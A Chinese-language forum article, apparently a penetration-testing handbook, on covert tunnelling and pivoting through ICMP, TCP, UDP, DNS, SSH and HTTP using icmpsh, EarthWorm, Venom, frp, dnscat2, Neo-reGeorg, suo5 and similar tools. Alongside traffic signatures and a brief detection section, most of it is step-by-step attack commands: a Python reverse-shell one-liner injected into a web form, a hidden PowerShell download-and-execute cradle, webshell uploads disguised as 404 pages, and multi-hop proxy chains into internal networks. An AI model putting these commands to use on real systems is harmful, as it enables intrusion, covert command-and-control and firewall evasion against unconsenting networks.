隧道代理攻防技术战争手册

本文将深入解析各类隧道代理技术(如ICMP、HTTP、DNS、TCP/UDP等)的实现原理与实战应用,通过具体工具手法(如Ping、cURL、nslookup、Telnet等)演示如何伪装和转发流量,并详细介绍多级隧道代理的搭建方法与技巧,帮助读者掌握隐蔽通信、绕过防火墙限制的核心能力,提升网络渗透与安全防护的实战水平。

前置

ICMPping ip/domain
HTTPcurl ip or domain
DNSnslookup domain 8.8.8.8
TCP/UDPtelnet ip port

image.png

攻击机器
本机IP:192.168.200.111
kali:192.168.99.129

目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3

win10:10.10.10.4
开启3306

ICMP隧道技术

什么是ICMP协议
ICMP(Internet Control Message Protocol,Internet控制报文协议)是Internet协议族中的一个协议,用于在IP网络中传递控制消息和错误报告。ICMP属于TCP/IP协议族中的第三层-网络层协议。

ICMP隧道流量特征

正常情况下,单位时间内数据包发送的数量为一组。

image.png

单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。

image.png
单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567

image.png
数据包Type字段类型为0或者8,表示请求和应答。

image.png

在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。

image.png

在pingtunnel中,明显地,单位时间内数据包的数量过大。

image.png
单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息

pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。

流量检测关键点:

  • 单位时间内数据包的数量
  • 单组数据包Data字段长度
  • 单组数据包Data字段内容

icmpsh

icmpsh是⼀个简单的反向ICMP shell⼯具。与其他类似的开源⼯具相⽐,主要优势在于它不需要管理权限即可在⽬标机器上运⾏。
客户端只能在Windows机器运⾏,服务端可以在任何平台上运⾏。

下载
https://github.com/bdamele/icmpsh

使⽤
kali 192.168.200.129
win8 靶机 192.168.99.135

服务端:

git clone https://github.com/inquisb/icmpsh.git

#关闭icmp回复,如果要开启icmp回复,该值设置为0
#_因为icmpsh工具要代替系统本身的icmp应答程序,所以需要提前关闭本地系统的icmp应答,否则Shell的运行会不稳定_
sysctl -w net.ipv4.icmp_echo_ignore_all=1

#运⾏,第⼀个IP是VPS的eth0⽹卡IP,第⼆个IP是⽬标机器出⼝的公⽹IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py

#安装impacket
python2 -m pip install impacket
#这里可能报错 使用本地安装
https://github.com/fortra/impacket/releases/tag/impacket_0_11_0
python2 setup.py install

python2 icmpsh_m.py 192.168.99.129 192.168.99.135

客户端:

-t 主机ip地址以发送ping请求。这个选项是强制性的!
-r 发送⼀个包含字符串“Test1234”的测试icmp请求,然后退出。
-d 毫秒请求之间的延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空⽩计数器。如果该计数器达到某个极限,从机将退出。
如果收到响应,计数器将设置回0。
-b 空⽩数量限制(退出前未答复的icmp请求)
-s 字节最⼤数据缓冲区⼤⼩(字节)

icmpsh.exe -t 192.168.99.129 -d 500 -b 30 -s 128

image.png

image.png

pingtunnel

Pingtunnel 是⼀种通过 ICMP 发送 TCP/UDP 流量的⼯具。其是最流⾏的⼀款ICMP代理⼯具,提供对tcp/udp/sock5流量伪装成icmp流量进⾏转发的功能。需要root或者administrator/system权限。

下载
https://github.com/esrrhs/pingtunnel

⾼权限条件下

image.png

构建反向代理
1)服务端
-type server 代表开启ICMP SERVER端,等待客户端进⾏连接与通信。
-noprint 1 不在控制台打印⽇志
-nolog 1 不存储⽇志⽂件

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

./pingtunnel -type server -noprint 1 -nolog 1

设置 socks5

pingtunnel.exe -type client -l :4455 -s 192.168.99.129 -sock5 1 -noprint 1 -nolog 1

TCP隧道技术

TCP隧道流量特征

EarthWorm
ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”
客户端发送“01 01 00 00 00 00”

image.png

服务端应答“01 02 00 00 00 00”,建立连接。

image.png

Venom
未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“

image.png
接着通过携带“ABCDEFGH”,来判断是否为venom协议

image.png

同时,通过携带“VCMD”,作为协议的数据分割

image.png

执行命令过程也为明文信息

image.png

image.png

使用venom的加密下,只存在较小的特征,如携带的数据全置零

image.png

image.png
推测,其在只有在不使用端口复用时候,才存在

Stowaway
加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。

stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“

image.png
在服务端确认相同的“会话key”后,客户端发起请求管理端的信息

const ADMIN_UUID = "IAMADMINXD"
const TEMP_UUID = "IAMNEWHERE"
const TEMP_ROUTE = "THEREISNOROUTE"

由于未加密,存在明文信息

image.png
在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持

image.png

Frp
1)未添加tls加密下的frp
客户端

[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123

[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true

服务端

[common]
bind_port = 7000
token = test@123

客户端携带版本架构等信息向服务端发起请求

image.png
服务端回应相关信息

image.png
客户端和服务端之间传递会话id和会话key

image.png
服务端创建socks5信息

image.png

2)添加了tls加密后的frp
客户端

[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123
tls_enable = true

[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true

服务端

[common]
bind_port = 7000
token = test@123

添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端

image.png

利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定

image.png
随后,以固定的243字节的TLS-hello报文向服务端发起请求

image.png
固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件

image.png
服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答

image.png
随后完成协商过程,建立tls加密通信

image.png

EarthWorm

EW 是⼀套便携式的⽹络穿透⼯具,具有 SOCKS v5服务架设和端⼝转发两⼤核⼼功能,可在复杂⽹络环境下完成⽹络穿透。

能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络深处。

image.png

  • 下载
    https://github.com/idlefire/ew

  • 使用

    EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
    ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹
    lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发
    lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
    通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
    -l 为服务启动打开一个端口。
    -d 设置反弹主机地址。
    -e 设置反弹端口。
    -f 设置连接主机地址。
    -g连接端口设置连接端口。
    -t 设置超时的毫秒数。默认值值是1000
    
功能名称对应模块
正向代理ssocksd
反向代理rcsocks、rssocks
端口转发lcx_listen、lcx_tran、lcx_slave
  1. EarthWorm命令详解 ```php
    rcsocks //反向socks代理客户端
    ssocksd //正向代理、监听在本地,直接把当前环境socks代理出去
    rssocks //反向代理、创建反向socks代理服务端
    lcx_slave //该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
    lcx_tran //该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
    lcx_listen //该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

1、公网出网

目标网络边界存在公网IP且可任意开监听端口:

image.png

./ew -s ssocksd -l 8888    // 在 192.168.229.139主机上
通过这个命令开启 8888 端口的 socks 代理

2、都是内网 但是出网

目标网络边界不存在公网 IP,需要通过反弹方式创建socks代理:

./ew -s rcsocks -l 1080 -e 8888    // 在 192.168.229.143的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
./ew -s rssocks -d 192.168.229.143 -e 8888    // 将目标网络的可控边界主机反向连接公网主机
HackTools 可通过访问 192.168.229.143:1080 端口使用 rssocks 主机提供的 socks5 代理服

3、二重网络环境

image.png
A kali 192.168.99.129
B 跳板机 192.168.99.140 10.10.10.20
C 内网 10.10.10.10

获得目标网络内两台主机 B、C 的权限,情况描述如下:
B 主机:存在公网 IP,且自由监听任意端口,无法访问特定资源
C 主机:目标网络内部主机,可访问特定资源,但无法访问公网
B 主机可直连 C 主机

1)正向代理

假设拿下B服务器,将工具上传到B服务器上使用
跳板机执行命令

ew_for_Win.exe -s ssocksd -l 8888

image.png
攻击机开立开启代理

vim /etc/proxychains.conf  
//这里填写的IP是跳板机的IP地址和跳板机上设置的端口

image.png
成功访问内网机器的80端口

proxychains4 curl http://10.10.10.10/

image.png

2)反向代理

image.png

A 7766 B 7766 6677 C 6677

第一种

先在B机器上执行命令
//跳板机监听7766端口并把流量走6677端口

ew_for_Win.exe -s rcsocks -l 7766 -e 6677

image.png

再在C机器上执行命令
//内网机器连接10.10.10.20的6677端口

ew_for_Win.exe -s rssocks -d 10.10.10.20 -e 6677

image.png

攻击机开启代理
//本地机器做代理,流量走跳板机的7766端口,就可以访问到C内网

vim /etc/proxychains.conf

image.png

image.png

第二种:

image.png

主机B 
ew -s lcx_tran -l 1080 -f 10.10.10.10 -g 8888  

主机C  
ew -s ssocksd -l 8888  

通过proxifier代理工具访问10.10.10.20:1080
内网 可出网

image.png
A主机,无公网 IP,无法访问特定资源,可访问外网。
B主机是内部主机,可访问特定资源,却无法回连公网。
A主机可直连B主机。

公网主机  
ew -s lcx_listen -e 8888 -l 1080  

A主机  
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999  

B主机  
ew -s ssocksd -l 9999  

通过proxifier代理工具访问1.1.1.1:1080

4、三级网络代理

主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。
A主机无公网IP,无法访问特定资源,可访问外网。
B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。

image.png

VPS
ew -s rcsocks -l 1080 -e 8888

主机A
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999

主机B
ew -s lcx_listen -l 9999 -e 7777

主机C
ew -s rssocks -d 2.2.2.3 -e 7777

通过proxifier代理工具访问1.1.1.1:1080

数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Venom

下载:https://github.com/Dliv3/Venom/

未加密下的反向socks5代理

攻击机器
本机IP:192.168.200.111
kali:192.168.99.129   

目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3

win10:10.10.10.4
开启3306
VPS:you-vps-ip
admin_linux_x64 -lport 7000 -passwd qaxNB666

show
goto 1
socks 1088

win8:192.168.99.134
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
1)VPS上运⾏服务端
admin_linux_x64 -lport 7000 -passwd qaxNB666

image.png

2)win8主机上传agent.exe并运⾏客户端
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666

image.png
此时vps

image.png

3)在VPS的服务端,开启socks
show
goto 1
socks 1088

image.png

image.png

实战演示:

  1. 浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令

image.png

  1. 使用Python反弹shell
    • 使用nc在Kali主机上监听TCP5555端口 ```php
      nc -nvlp 5555

image.png

利用python的代码执行功能,向表单中注入一段python代码触发反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.160",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

image.png

  • 发现收到Shell为docker主机的root权限

image.png
Tip:判断主机为Docker容器的两种方法:
方法一:确认根目录下是否存在.dockerenv文件

ls /.dockerenv

image.png
方法二:查看/proc/1/cgroup是否存在docker目录

cat /proc/1/cgroup

image.png

内网穿透

  1. 内网扫描
    • ip address 发现内网段为172.17.0.3/16网段
    • 内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

image.png

  1. 部署Venom内网穿透工具
    • 在Kali主机Venom目录启动Python3 Http Server

image.png

  • 启动Venom管理端,监听本地9999端口 ```php
    ./admin_linux_x64 -lport 9999

image.png

image.png
在Kali主机Venom管理端可以看到有主机上线
查看、控制Venom节点、启动socks隧道
使用 goto 1 进入到节点 使用 socks 1080 创建socks代理

show
goto 1
socks 1080

image.png

挂Socks内网扫描

  • 修改proxychains配置
  • 然后在kali上使用proxychains4工具挂载代理,使工具都能正常访问内网
    修改proxychains4 的配置文件 ```php
    vi /etc/proxychains4.conf
    修改最后一行为:
    修改代理类型为socks5 端口改为 1080
    socks5 127.0.0.1 1080

image.png

  • 挂代理启动扫描,发现172.17.0.1,172.17.0.3相同,172.17.0.2存在9200端口 ```php
    sudo proxychains nmap -Pn -sT -sV 172.17.0.1
    sudo proxychains nmap -Pn -sT -sV 172.17.0.2
    sudo proxychains nmap -Pn -sT -sV 172.17.0.3

image.png

加密下的反向socks5代理

admin.exe -lport 9999 -passwd dlive@dubhe
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe

多级级联

image.png

VPS:120.10.120.X
admin_linux_x64 -lport 4343 -passwd test@123
goto 1
listen 4343
goto 2
listen 4343

主机A:192.168.3.15
agent.exe -rhost 120.10.120.X -rport 4343 -passwd test@123

主机B:192.168.3.30
agent.exe -rhost 192.168.3.15 -rport 4343 -passwd test@123

主机C:192.168.3.160
agent.exe -rhost 192.168.3.30 -rport 4343 -passwd test@123

Stowaway 未完成

  • 介绍
    Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具。用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能。

其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。

admin:

参数:  
-l 被动模式下的监听地址[ip]:  
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致  
-c 主动模式下的目标节点地址  
--proxy socks5代理服务器地址  
--proxyu socks5代理服务器用户名(可选)  
--proxyp socks5代理服务器密码(可选)  
--down 下游协议类型,默认为裸TCP流量,可选HTTP

agent:

参数:  
-l 被动模式下的监听地址[ip]:  
-s 节点通信加密密钥  
-c 主动模式下的目标节点地址  
--proxy socks5代理服务器地址  
--proxyu socks5代理服务器用户名(可选)  
--proxyp socks5代理服务器密码(可选)  
--reconnect 重连时间间隔(s)  
--rehost 端口复用时复用的IP地址  
--report 端口复用时复用的端口号  
--up 上游协议类型,默认为裸TCP流量,可选HTTP  
--down 下游协议类型,默认为裸TCP流量,可选HTTP  
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk

1)未加密下反向代理

服务端

./linux_x64_admin -l 9999
use 0 
socks 10001

image.png

image.png

客户端

./linux_x64_agent -c 192.168.99.129:9999

image.png

image.png

2)加密下反向代理

stowaway_admin -l 9999 -s test@123
stowaway_agent -c 192.168.1.131:9999 -s test@123

3)多级级联

在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现

admin: 
./stowaway_admin -l 9999 -s 123

agent-1: 
./stowaway_agent -c 127.0.0.1:9999 -s 123

agent-2: 
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点

agent-3: 
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接

frp

https://github.com/fatedier/frp/blob/dev/conf/frpc_full_example.toml

配置VPS

[common]
bind_port = 7000
token = qaxNB666

./frps -c frps.ini

配置客户端

[common]
server_addr = 192.168.1.131
server_port = 7000
token = qaxNB666

[socks5]
type = tcp
remote_port = 1081
plugin = socks5
plugin_user = locks
plugin_passwd = locks
use_encryption = true
use_compression = true

进入到C2中上传frpc

cd C:\Windows\Temp\     移动到上传的位置
shell dir               查看是否正确位置 
shell frpc.exe -c frpc.ini  执行frpc

image.png

image.png

image.png

image.png

UDP隧道技术

UDP隧道流量特征

Udp2raw
利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征

image.png

Udp2raw

  • 介绍
    该工具可以利用原始套接字并通过伪造的TCP/UDP/ICMP流量来帮助研究人员绕过UDP防火墙(或不稳定的UDP环境)。

其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。

在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.99.129:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a

此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。

image.png

image.png

image.png
如果你需要在Android端运行的话,请参考【教程https://github.com/wangyu-/udp2raw-tunnel/blob/master/doc/android\_guide.md】

DNS隧道技术

DNS隧道流量特征

直连模式下,dnscat2存在明显的连接特征

image.png

中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征

image.png
除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。

DnsCat2 && Dnscat2-Powrshell

  • 介绍
    dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证。使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。

dnscat2 客户端在使用前需要进行编译才能使用,在 Windows 中可以使用 VS 进行编译或者直接使用 PowerShell 的版本,Linux 中可以使用 make install 进行编译。

Linux 下可以通过以下方法进行编译

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

Windows 可以直接下载已经编译好的版本
exe 版(解压密码:password):
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
PowerShell 版:https://github.com/lukebaggett/dnscat2-powershell

如果使用 PowerShell 版,可以直接使用下面的命令导入,在实际情况中,也更推荐使用 PowerShell 版的,毕竟隐蔽性要更好些。

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

或者下载 ps1 文件后,使用以下命令导入

Import-Module .\dnscat2.ps1
  • 使用

1)直连模式

-s 指定 dns 服务端口
-c 指定连接密码
--no-cache 禁止缓存,添加该项为了使和 PowerShell 版本的 dnscat2 兼容
ruby ./dnscat2.rb -s 553 -c password --no-cache
**启动客户端**,这里以 Windows 下的 exe 版为例
连接成功后,会提示 `Session established!`

dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password

image.png

sessions 或 windows           查看当前会话
session -i 1 或 window -i 1   进入 ID 为 1 的会话
shell       建立交互式会话
exec        远程打开程序
download    下载文件
help        查看支持的命令
sessions
window -i 1
shell
session -i 2

2)中继模式

在中继模式下,需要自己有一个域名,并添加两条域名解析记录。

首先创建一条 A 记录指向自己的公网 VPS 地址,之后创建一条 ns 记录指向 A 记录的子域名,示例如下:

image.png
如果想要判断自己的解析记录是否设置成功,可以通过以下方法进行判断。

A 记录:直接通过 nslookup 进行判断,如果解析出了 IP 说明该项配置正确。

nslookup ns1.teamssix.com

ns 记录:在公网 VPS 上开启抓包,再nslookup dc.teamssix.com,如果在 VPS 上看到对应的流量记录,说明该项配置正确。

sudo tcpdump -n -i eth0 udp dst port 53

image.png

#-e 指定安全级别,open 表示服务端允许客户端不进行加密
如果提示`Address already in use - bind(2) for "0.0.0.0" port 53`,可以关闭`systemd-resolved`
sudo systemctl stop systemd-resolved

ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e open

dnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password

image.png

image.png
也可以用powershell
开启客户端,这里以 Windows 下的 PowerShell 版为例

start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip

也可以把导入的命令和开启客户端的命令放在一起

powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip}

SSH隧道技术

SSH隧道流量特征

在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹

image.png

Linux转发

kali 连接 192.168.99.129
ubuntu ssh 192.168.99.132

-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
sudo ssh -N -f -L 192.168.99.129:4444:192.168.99.132:22 192.168.99.129

image.png

image.png

windows转发

kali 129
win10 131

sudo ssh -N -f -L 192.168.99.129:10086:192.168.99.131:3389 192.168.99.129

image.png

image.png

HTTP隧道技术

HTTP隧道流量特征

tunnel
页面特征

image.png
连接报文特征

image.png
**reGeog&**Neo-reGeorg**
对于reGeog,其默认的页面特征为

image.png
从流量报文上看,也具有一定的特征信息

image.png

image.png
Neo-reGeog的页面信息

image.png

image.png

Neo-reGeog的流量报文

image.png

ABPTTS
abptts页面特征

image.png
查看报文特征

image.png

suo5流量特征
在未魔改的情况下,在suo5与webshell脚本建立连接时,测试连接是否通畅的请求报文中Content-Type 的值为 application/plain

测试报文使用POST请求方式,报文载荷携带验证数据。数据大小固定为64字节。当webshell文件被成功解析时,会将发送过来的字符串前32字节返回来通知客户端连接已成功建立。

suo5工具在连接时可选两种模式,分别为:全双工模式、半双工模式。在工具界面可选自动,默认为全双工
在suo5的连接模式为全双工时,Content-Type的值为application/octet-stream

在反向代理的场景下,应当使用该工具的半双工模式。

在suo5的连接模式为半双工时,Content-Type的值为application/x-binary;请求报文为POST请求方式。加密数据存放在报文载荷中。每次传输数据时都会重新发起一次请求。

tunnel

  • 介绍
    Tunna 是一组工具,它将通过 HTTP 包装和隧道任何 TCP 通信。它可用于绕过完全防火墙环境中的网络限制。
  • 下载
    https://github.com/SECFORCE/Tunna
  • 使用
    前提是能够上传webshell
1 <br>2 <br>3 <br>4 <br>5 <br>6 <br>7-l 表示本地监听的端口 <br>-r 远程要转发的端口 <br>-v 详细模式 <br>-b 请求大小 <br>-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH) <br>-C 请求 cookie <br>-t 基本认证

image.png

1)连接RDP

VPS执行

python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -a 192.168.99.135 -r 3389

image.png

目标机器

python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -r 3389 –v

image.png

image.png

2)连接SSH

vps

python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -a 192.168.99.132 -r 22 -v -s

image.png

目标机器

python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -r 22 -v -s

image.png

reGeog&&Neo-reGeorg

python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp

Neo-reGeorg

Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。
Neo-reGeorg支持:

1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境

使用方法

python3 neoreg.py generate -k password

python3 neoreg.py -k password -u http://xx/tunnel.php

python neoreg.py generate -k  --file 404.html --httpcode 404

python neoreg.py -k  -u  --skip

python neoreg.py -k  -u  --proxy socks5://10.1.1.1:8080

python neoreg.py -k  -u  -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

实战开始:

1、Kali中生成自定义连接密码的shell。
python3 neoreg.py generate -k Netw@rk123

image.png

2、上传文件

将生成的shell文件上传至目标服务器。

image.png

上传后访问路径,如果显示如下空白则代表没有问题,直接做代理

python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php

image.png

随后即可将代理指向至代理服务器地址后,即可访问内网资源。

image.png

image.png
将shell页面伪装成404页面 先访问个404页面,像下面显示,会列出路径,那么我们在上传之前就先访问下我们shell上传的路径,会 出一个真实404页面,然后我们再右键页面另存为保存到本地,--file参数 指定我们保存出来的404页面
就后面路径瞎几把打乱码就行

python3 neoreg.py generate -k Netw@rk123 --file /root/Neo-reGeorg-5.2.0/404.html --httpcode 404

image.png

随后shell上传后,直接访问页面会与404页面相似,或许理解成俄罗斯走位就行了。

image.png
启动socks代理
这里要加--skip,不然就会认为这是404页面,连接不上

python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php --skip

image.png

也可以

python neoreg.py -k  -u  --proxy socks5://10.1.1.1:8080  

python neoreg.py -k  -u  -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

ABPTTS

  • 介绍
    ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。

  • 下载
    https://github.com/nccgroup/ABPTTS

  • 使用

    配置环境

    git clone https://github.com/nccgroup/ABPTTS.git  
    pip install pycryptodome  
    pip install httplib2  
    #报错可以用
    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
    本地安装httplib2
    https://pypi.org/project/pycryptodome/#files
    tar -xzvf httplib2-0.22.0.tar.gz
    cd httplib2-0.22.0
    import importlib
    python2 setup.py install
    python2 -c "import httplib2; print(httplib2.__version__)
    pip2 install pyparsing
    

实际操作

服务端

#生成对应webshell  
python2 abpttsfactory.py -o webshell  

image.png

客户端
上传webshell

image.png

#把目标主机的3389端口转发到本地的7777端口  
 python2 abpttsclient.py -c webshell/config.txt -u "http://192.168.99.135:81/abptts.aspx" -f 192.168.99.129:7777/127.0.0.1:3389

image.png

image.png

suo5

Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。

其主要特性如下:

  1. 同时支持全双工与半双工模式,传输性能接近 FRP
  2. 支持在 Nginx 反向代理和负载均衡场景使用
  3. 完善的连接控制和并发管理,使用流畅丝滑
  4. 支持 Tomcat Jetty Weblogic WebSphere Resin 等主流中间件
  5. 支持 Java4 ~ Java 19 全版本, 兼容性拉满
  6. 同时提供提供命令行和图形化界面

下载地址:https://github.com/zema1/suo5

工具使用

第一步:

将suo5.aspx文件上传到靶机shell里面去,默认默认开放的是1111端口

image.png

第二步:

打开对应的gui文件进行代理设置

image.png

如果电脑是linux
最简单的只需指定连接目标

./suo5-linux-amd64 -t http://x.x.x.90:8080/suo5.jsp 

使用 GET 方法发送请求,有时可以绕过限制

./suo5-linux-amd64 -m GET -t http://x.x.x.x:8080/suo5.jsp

如果要做中转VPS
VPS 自定义 socks5 监听在 0.0.0.0:1080,并自定义认证信息为 test:test123

./suo5-linux-amd64 -t http://x.x.x.x:8080/suo5.jsp -l 0.0.0.0:1080 --auth test:Test123456

本地计算机
使用prioxier或者其他工具连接VPS的1080端口即可

数据传输使用HTTP报文进行。使用请求方式均为POST。需要传输的数据会经过加密后放在请求和响应报文的载荷部分。

suo5工具在使用HTTP协议时默认的用户代理字段为User-Agent:Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3。可以通过工具的交互界面中高级配置选项来对默认的请求头进行修改。

image.png

检测与防御

以frp作为案例
端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测

端口检测:默认配置下,frp的服务端端口为7000

image.png

进程检测:从进程上看,frp的进程名称非常明显

image.png
流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。

image.png

添加tls加密后,frp在协商前存在0x17的协议头部特征

image.png

  • 发表于 2025-06-11 10:00:00
  • 阅读 ( 199 )
  • 分类:内网渗透

0 条评论

请先 登录 后评论